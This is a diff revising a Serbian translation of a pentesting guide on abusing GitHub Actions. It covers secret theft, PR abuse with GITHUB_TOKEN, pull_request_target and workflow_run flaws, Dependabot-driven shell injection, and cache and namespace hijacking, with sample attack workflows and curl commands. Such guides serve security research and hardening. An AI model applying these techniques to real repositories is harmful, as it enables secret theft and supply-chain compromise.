diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index ec280c4b8..68b812bb5 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,52 +4,52 @@
## Alati
-Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:
+Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih primeraka:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Proverite i njegovu kontrolnu listu na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte takođe checklist u [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
-## Osnovne Informacije
+## Osnovne informacije
-Na ovoj stranici ćete pronaći:
+Na ovoj stranici ćete naći:
-- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
-- Različite načine da **dobijete pristup akciji**:
-- Imajući **dozvole** za kreiranje akcije
-- Zloupotreba **okidača** povezanih sa pull request-om
-- Zloupotreba **drugih tehnika spoljnog pristupa**
-- **Pivotiranje** iz već kompromitovanog repozitorijuma
-- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)
+- Kratak pregled svih **posledica** koje napadač može izazvati ako uspe da pristupi Github Action
+- Različiti načini kako **dobiti pristup action-u**:
+- Imati **dozvole** za kreiranje action-a
+- Zloupotreba okidača vezanih za **pull request**
+- Zloupotreba drugih tehnika eksternog pristupa
+- **Pivoting** sa već kompromitovanog repo-a
+- Na kraju, sekcija o **post-exploitation tehnikama za zloupotrebu action-a iznutra** (koje prouzrokuju prethodno navedene posledice)
-## Rezime Uticaja
+## Rezime posledica
-Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).
+Za uvod u [**Github Actions pogledajte osnovne informacije**](../basic-github-information.md#github-actions).
-Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
+Ako možete **izvršiti proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, mogli biste:
-- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da biste dobili neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
-- **Kompromitujete implementacije** i druge **artefakte**.
-- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja.
-- **Izvršite kod u prilagođenim radnicima** da biste zloupotrebili računske resurse i pivotirali na druge sisteme.
-- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
+- **Krađa secrets** montiranih u pipeline i **zloupotreba privilegija pipeline-a** za neautorizovan pristup eksternim platformama, kao što su AWS i GCP.
+- **Kompromitovanje deployments** i drugih **artefakata**.
+- Ako pipeline deployuje ili skladišti asset-e, možete izmeniti finalni proizvod, omogućavajući supply chain attack.
+- **Izvršavanje koda u custom workers** radi zloupotrebe računarske snage i pivotovanja na druge sisteme.
+- **Prepisivanje koda repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
## GITHUB_TOKEN
-Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju:
+Ovaj "**secret**" (potiče iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) dodeljuje se kada admin omogući ovu opciju:
-Ovaj token je isti koji će koristiti **Github aplikacija**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ovaj token je isti koji će koristiti **Github Application**, tako da može pristupiti istim endpointima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
+> Github bi trebalo da objavi a [**flow**](https://github.com/github/roadmap/issues/74) koji **omogućava cross-repository** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Napomena da token **isteče nakon što je posao završen**.\
+Obratite pažnju da token **isteče nakon završetka job-a**.\
Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
@@ -66,7 +66,7 @@ https://api.github.com/repos///pulls//merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
-{{#tab name="Odobri PR" }}
+{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos///pulls//reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
-{{#tab name="Kreiraj PR" }}
+{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.
+> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni vam mogu dati veće privilegije nad repozitorijumom i organizacijom.
-Lista tajni u Github Action izlazu
+Prikaži secrets u izlazu Github Action
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Dobijanje reverzne ljuske sa tajnama
+Dobijte reverse shell koristeći secrets
```yaml
name: revshell
on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija:
+Moguće je proveriti dozvole dodeljene Github Token-u u drugim korisničkim repositories tako što ćete proveriti logove Github actions:
-## Dozvoljena Izvršenja
+## Dozvoljeno izvršavanje
> [!NOTE]
-> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**.
+> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **create a new repo in the organization**, ili da imate **write privileges over a repository**.
>
-> Ako ste u ovom scenariju, možete jednostavno proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
+> Ako ste u ovoj situaciji, možete jednostavno pogledati [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
-### Izvršenje iz Kreiranja Repozitorijuma
+### Izvršavanje preko kreiranja repoa
-U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**.
+U slučaju da članovi organizacije mogu **create new repos** i da možete izvršavati github actions, možete **create a new repo and steal the secrets set at organization level**.
-### Izvršenje iz Nove Grane
+### Izvršavanje preko novog brancha
-Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
+Ako možete **create a new branch in a repository that already contains a Github Action** konfigurisan, možete ga **modify**, **upload** sadržaj, i potom **execute that action from the new branch**. Na ovaj način možete **exfiltrate repository and organization level secrets** (ali morate znati kako se zovu).
-Možete učiniti da modifikovana akcija bude izvršna **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
+> [!WARNING]
+> Bilo kakvo ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, ili manual gates) može biti izmenjeno od strane saradnika. Bez spoljne primene (branch protections, protected environments, i protected tags), contributor može preusmeriti workflow da se pokrene na njegovom branch-u i zloupotrebiti montirane secrets/permissions.
+
+Možete napraviti izmenjeni action izvršnim **manually,** kada je **PR is created** ili kada je **some code is pushed** (u zavisnosti koliko želite da budete bučni):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
```
---
-## Forked Execution
+## Izvršavanje iz fork-a
> [!NOTE]
-> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
+> Postoje različiti trigger-i koji bi napadaču mogli omogućiti da **execute a Github Action of another repository**. Ako su te trigger-abilne akcije loše konfigurisane, napadač bi mogao uspeti da ih kompromituje.
### `pull_request`
-Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
+The workflow trigger **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neke izuzetke: po default-u ako je to **prvi put** da doprinosite, neki **maintainer** će morati da **odobri** **pokretanje** workflow-a:
> [!NOTE]
-> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važne greške/tipa** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
+> Pošto je **podrazumevano ograničenje** za **prvi put** doprinosioce, možete doprineti **ispravljajući validan bug/typo** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
>
-> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~
+> **I testirao sam ovo i ne radi**: ~~Druga opcija bi bila da napravite nalog sa imenom nekoga ko je doprineo projektu i obrisao svoj nalog.~~
-Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Štaviše, po default-u to **sprečava write permissions** i **secrets access** ka ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
-Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.
+Napadač može izmeniti definiciju Github Action-a kako bi izvršio proizvoljne komande i dodao proizvoljne akcije. Međutim, zbog pomenutih ograničenja neće moći da ukrade secrets ili prepiše repo.
> [!CAUTION]
-> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**
+> **Da, ako napadač promeni u PR-u github action koji će biti okinut, njegov Github Action će biti taj koji se koristi, a ne onaj iz originalnog repozitorijuma!**
-Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
+Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi na primer mogao **otpremiti maliciozne artefakte**.
### **`pull_request_target`**
-Okidač radnog toka **`pull_request_target`** ima **pisanu dozvolu** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).
+The workflow trigger **`pull_request_target`** ima **write permission** ka ciljanom repozitorijumu i **access to secrets** (i ne traži odobrenje).
-Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Napomena da workflow trigger **`pull_request_target`** **pokreće se u base context-u** a ne u onom koji daje PR (da **ne bi izvršavao nepoverljiv kod**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Štaviše, za više informacija o ovom specifično opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-Možda izgleda kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
+Može delovati da je bezbedno koristiti **`pull_request_target`** zato što se **izvršeni workflow** definiše u **base-u** a **ne u PR-u**, ali postoje **nekoliko slučajeva gde to nije**.
-A ovaj će imati **pristup tajnama**.
+I ovaj će imati **access to secrets**.
### `workflow_run`
-[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) okidač omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger omogućava da se workflow pokrene iz drugog kada je `completed`, `requested` ili `in_progress`.
-U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:
+U ovom primeru, workflow je konfigurisan da se pokrene nakon što se odvojeni "Run Tests" workflow završi:
```yaml
on:
workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.
+Štaviše, prema dokumentaciji: workflow pokrenut događajem `workflow_run` može da **pristupi secrets i write tokens, čak i ako prethodni workflow nije**.
-Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
-Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**.
+Ovakav workflow može biti napadnut ako **zavisi** od **workflow** koji eksterni korisnik može **pokrenuti** putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se naći u [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi primer se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}`
+Drugi primer se sastoji u **prosleđivanju** **artifact**-a iz **untrusted** koda u **`workflow_run`** workflow i korišćenju sadržaja tog artifact-a na način koji ga čini **vulnerable to RCE**.
### `workflow_call`
TODO
-TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originala ili iz forkovanog PR
+TODO: Proveriti da li kada se izvršava iz pull_request koristi/preuzima kod iz origin ili iz forkovanog PR-a
-## Zloupotreba Forkovane Izvršavanja
+## Zloupotreba forkovanog izvršavanja
-Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene:
+Pomenuo/la smo sve načine na koje eksterni napadač može naterati github workflow da se izvrši, sada hajde da pogledamo kako se ta izvršavanja, ako su loše konfigurisana, mogu zloupotrebiti:
-### Nepouzdan checkout izvršavanje
+### Untrusted checkout execution
-U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i izvršiće se sa nekim [ograničenjima](#pull_request).
+U slučaju **`pull_request`**, workflow će se izvršiti u **kontekstu PR-a** (dakle izvršiće **malicious PRs code**), ali neko mora to prvo **odobriti** i on će se izvršavati sa određenim [ograničenjima](#pull_request).
-U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
+U slučaju workflow-a koji koristi **`pull_request_target` or `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` or `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**.
> [!CAUTION]
-> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
+> Međutim, ako **action** ima **explicit PR checkout** koji će **dohvatiti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima PR kod):
# INSECURE. Provided as an example only.
on:
@@ -279,32 +282,32 @@ message: |
Thank you!
-Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**.
+Potencijalno **untrusted code se izvršava tokom `npm install` ili `npm build`** jer su build skripte i referencirani **packages pod kontrolom autora PR-a**.
> [!WARNING]
-> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
+> Github dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se konfigurišu jobs da se izvršavaju sigurno čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR).
-### Kontekst Injekcije Skripti
+### Context Script Injections
-Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:**
+Imajte na umu da postoje određeni [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github action koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Injekcija Skripti**
+### **GITHUB_ENV Script Injection**
-Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
+Iz dokumentacije: Možete učiniti da **environment variable bude dostupan svim narednim koracima** u workflow job-u tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** environment fajl.
-Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u sledećim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
+Ako bi napadač mogao da **ubaci bilo koju vrednost** u ovu **env** promenljivu, mogao bi da ubaci env promenljive koje bi mogle izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
-Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
+Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da uploaduje nešto ovakvo da bi ga kompromitovao:
-### Dependabot i drugi pouzdani botovi
+### Dependabot and other trusted bots
-Kao što je navedeno u [**ovom blog postu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github akciju koja spaja bilo koji PRR od `dependabot[bot]` kao u:
+Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PR od `dependabot[bot]` kao u:
```yaml
on: pull_request_target
jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
-Koji je problem jer polje `github.actor` sadrži korisnika koji je izazvao najnoviji događaj koji je pokrenuo radni tok. I postoji nekoliko načina da se korisnik `dependabot[bot]` natera da izmeni PR. Na primer:
+To predstavlja problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer:
-- Forkujte žrtvovano skladište
-- Dodajte zloćudni payload u svoju kopiju
-- Omogućite Dependabot na svom fork-u dodajući zastarelu zavisnost. Dependabot će kreirati granu koja ispravlja zavisnost sa zloćudnim kodom.
-- Otvorite Pull Request ka žrtvovanom skladištu iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
-- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u svom fork-u i pokreće `@dependabot recreate`
-- Zatim, Dependabot izvršava neke radnje u toj grani, koje su izmenile PR u žrtvovanom repo-u, što čini `dependabot[bot]` akterom najnovijeg događaja koji je pokrenuo radni tok (i stoga, radni tok se pokreće).
+- Napravite fork repository-ja žrtve
+- Dodajte malicious payload u svoju kopiju
+- Omogućite Dependabot na svom forku dodavanjem zastarele dependency. Dependabot će kreirati branch koji ispravlja dependency sa malicious kodom.
+- Otvorite Pull Request ka repository-ju žrtve iz tog branch-a (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
+- Zatim, napadač se vraća na početni PR koji je Dependabot otvorio u njegovom forku i pokreće `@dependabot recreate`
+- Zatim Dependabot izvrši neke akcije na tom branch-u, koje izmeniše PR u repository-ju žrtve, čime je `dependabot[bot]` postao autor poslednjeg događaja koji je pokrenuo workflow (i stoga, workflow se pokreće).
-Nastavljajući, šta ako umesto spajanja Github Action bi imao injekciju komandi kao u:
+Idemo dalje, šta ako umesto merge-ovanja Github Action ima command injection kao u:
```yaml
on: pull_request_target
jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
-Pa, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, a druga je:
+Pa, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga:
-- Forkujte repozitorijum žrtve i omogućite Dependabot sa nekim zastarelim zavisnostima.
-- Kreirajte novu granu sa zloćudnim kodom za shell injekciju.
-- Promenite podrazumevanu granu repozitorijuma na tu.
-- Kreirajte PR iz ove grane u repozitorijum žrtve.
-- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku.
-- Dependabot će spojiti svoje izmene u podrazumevanu granu vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` aktera poslednjeg događaja koji je pokrenuo radni tok i koristeći zloćudno ime grane.
+- Fork the victim repository and enable Dependabot with some outdated dependency.
+- Create a new branch with the malicious shell injeciton code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
-### Ranljive Treće Strane Github Akcije
+### Ranjive Third-Party GitHub Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma.
+Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova GitHub Action dozvoljava pristup artifacts iz različitih workflow-ova i čak repozitorijuma.
-Problem je u tome što, ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je artefakt ranjiv, napadač bi mogao zloupotrebiti ovo da kompromituje druge radne tokove koji veruju artefaktu.
+Problem je u tome što, ako parametar **`path`** nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prebrisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršeni u workflow-u. Dakle, ako je Artifact ranjiv, napadač bi to mogao zloupotrebiti da kompromituje druge workflow-ove koji veruju tom Artifact-u.
-Primer ranjivog radnog toka:
+Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -373,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
-Ovo bi moglo biti napadnuto ovom radnom procedurom:
+Ovo se može napasti ovim workflow-om:
```yaml
name: "some workflow"
on: pull_request
@@ -390,35 +393,35 @@ path: ./script.py
```
---
-## Drugi Spoljni Pristup
+## Ostali eksterni pristup
-### Otimanje Izbrisanog Namespace Repozitorijuma
+### Obrisano Namespace Repo Hijacking
-Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan.
+Ako nalog promeni svoje ime, drugi korisnik može nakon nekog vremena registrovati nalog sa tim imenom. Ako je repozitorijum pre promene imao **manje od 100 stars**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao obrisani.
> [!CAUTION]
-> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.
+> Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da attacker kreira taj nalog i compromise action.
-Ako su drugi repozitorijumi koristili **zavisnosti iz repozitorijuma ovog korisnika**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Ako drugi repos koriste **dependencies from this user repos**, attacker će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
-> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
+> U ovom odeljku govorićemo o tehnikama koje bi omogućile da **pivot from one repo to another** pod pretpostavkom da imamo neki pristup prvom (pogledajte prethodni odeljak).
-### Trovanje Kešom
+### Cache Poisoning
-Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.
+Cache se održava između **wokflow runs in the same branch**. To znači da ako attacker **compromise** paket koji se potom skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, on će moći i da **compromise** i taj workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Trovanje Artefaktima
+### Artifact Poisoning
